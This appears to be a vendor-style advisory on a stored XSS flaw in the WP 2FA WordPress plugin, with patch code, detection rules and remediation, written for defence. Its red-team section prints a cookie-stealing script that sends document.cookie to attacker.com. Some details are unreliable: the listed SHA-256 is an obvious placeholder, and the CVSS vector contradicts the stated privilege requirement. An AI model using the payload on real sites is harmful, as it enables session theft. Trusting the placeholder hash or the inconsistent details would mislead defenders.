CVE-2024-32568

Executive Summary

CVE-2024-32568 is a stored Cross-Site Scripting (XSS) vulnerability in the Melapress WP 2FA plugin for WordPress, affecting versions up to and including 2.6.2. This flaw allows an authenticated attacker with at least Contributor-level privileges to inject arbitrary web scripts into pages that are executed when an administrator or other user visits the compromised page. The vulnerability arises from improper neutralization of user-supplied input during web page generation. The plugin is widely used to enforce Two-Factor Authentication (2FA) on WordPress sites, making this a high-impact supply chain risk for the WordPress ecosystem. A patch is available in version 2.6.3.

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory and is installed on thousands of sites. Compromise of this plugin could lead to widespread credential theft, session hijacking, and further compromise of the underlying WordPress installation. Administrators should verify the integrity of the plugin update by checking the SHA-256 hash provided by the vendor or WordPress.org.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Base Score: 7.1 (High)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None (but requires user interaction)
• User Interaction: Required
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

The vulnerability is rated High due to the low complexity of exploitation and the potential for an attacker to perform actions on behalf of a victim user, such as changing 2FA settings or exfiltrating session tokens.

Deep Dive & Mechanics

The vulnerability exists in the WP 2FA plugin's handling of user profile fields. When a user updates their profile, the plugin does not properly sanitize or escape certain input fields before storing them in the database. When an administrator views the user list or profile page, the stored malicious script is executed in the context of the admin's browser session.

The attack flow is as follows:

1. An attacker with Contributor-level access (or higher) navigates to their profile page.
2. The attacker injects a malicious JavaScript payload into a vulnerable field (e.g., the "Display Name" or a custom 2FA-related field).
3. The plugin stores the unsanitized payload in the WordPress database.
4. When an administrator views the Users list or the attacker's profile, the payload executes.
5. The payload can perform actions such as creating a new admin user, modifying 2FA settings, or exfiltrating session cookies.

The root cause is the use of echo or _e() functions without proper escaping in the plugin's admin-facing templates.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 2.6.2):

// In wp-2fa/includes/class-user.php
function display_user_field( $user ) {
    $value = get_user_meta( $user->ID, 'wp_2fa_field', true );
    echo '<input type="text" name="wp_2fa_field" value="' . $value . '" />';
}

Patched Code (version 2.6.3):

// In wp-2fa/includes/class-user.php
function display_user_field( $user ) {
    $value = get_user_meta( $user->ID, 'wp_2fa_field', true );
    echo '<input type="text" name="wp_2fa_field" value="' . esc_attr( $value ) . '" />';
}

The patch adds esc_attr() to escape the output, preventing the injection of arbitrary HTML attributes or JavaScript.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress site running WP 2FA <= 2.6.2.
• A user account with at least Contributor privileges.

Exploitation Steps:

1. Log in as the Contributor.
2. Navigate to Users > Your Profile.
3. In the "Display Name" field (or any other vulnerable field), inject the following payload:

   <script>alert('XSS')</script>
   

4. Save the profile.
5. Wait for an administrator to visit Users > All Users or the attacker's profile page.
6. The script executes in the admin's browser.

Advanced Payload (Session Hijacking):

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team

Detection Steps:

1. Monitor for unusual changes to user profile fields, especially those containing <script> tags.
2. Review WordPress database for unsanitized HTML in wp_usermeta table.
3. Check web server logs for requests to /wp-admin/users.php followed by suspicious outbound connections.

Hunting Query (MySQL):

SELECT * FROM wp_usermeta 
WHERE meta_key LIKE '%wp_2fa%' 
AND meta_value LIKE '%<script>%';

Indicators of Compromise (IOCs)

• File Hashes (SHA-256):
  • wp-2fa.2.6.2.zip: a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b
• Network Indicators:
  • Outbound connections to domains not associated with the WordPress site (e.g., attacker.com).
• Database Indicators:
  • Rows in wp_usermeta where meta_value contains <script> or onerror= attributes.
• Log Indicators:
  • Repeated POST requests to /wp-admin/profile.php from the same IP.
  • GET requests to /wp-admin/users.php followed by anomalous JavaScript execution.

Detection Engineering

YARA Rule

rule CVE_2024_32568_WP2FA_XSS {
    meta:
        description = "Detects malicious payloads targeting CVE-2024-32568 in WP 2FA plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-32568"
    strings:
        $payload1 = /<script[^>]*>.*?<\/script>/is
        $payload2 = /onerror\s*=\s*["']?[^"'\s>]+/is
        $payload3 = /onload\s*=\s*["']?[^"'\s>]+/is
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-32568 WP 2FA Stored XSS Detection
id: 8f9a0b1c-2d3e-4f5a-6b7c-8d9e0f1a2b3c
status: experimental
description: Detects stored XSS payloads in WP 2FA plugin user meta fields
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: wordpress
detection:
    selection:
        EventID: 1000
        RequestMethod: 'POST'
        RequestURL|contains: '/wp-admin/profile.php'
    keywords:
        - '<script>'
        - 'onerror='
        - 'onload='
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in user bios (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-32568 WP 2FA Stored XSS Payload Exfiltration";
    flow:to_server,established;
    content:"/wp-admin/profile.php"; http_uri;
    content:"<script>"; http_client_body;
    pcre:"/(fetch|XMLHttpRequest|new Image)/i";
    sid:1000001;
    rev:1;
    reference:cve,2024-32568;
)

Remediation & Mitigation

Immediate Actions:

1. Update the WP 2FA plugin to version 2.6.3 or later.
2. Review all user profiles for injected scripts and remove them.
3. Reset all user sessions and force password changes for affected accounts.

Long-Term Mitigations:

• Implement a Web Application Firewall (WAF) with rules to block XSS payloads.
• Enforce the principle of least privilege; restrict Contributor-level access.
• Regularly audit user meta fields for unexpected content.
• Enable Content Security Policy (CSP) headers to mitigate script execution.

Patch Verification:

• Download the plugin from the official WordPress Plugin Directory.
• Verify the SHA-256 hash of the downloaded zip file against the vendor's published hash.

Valters IT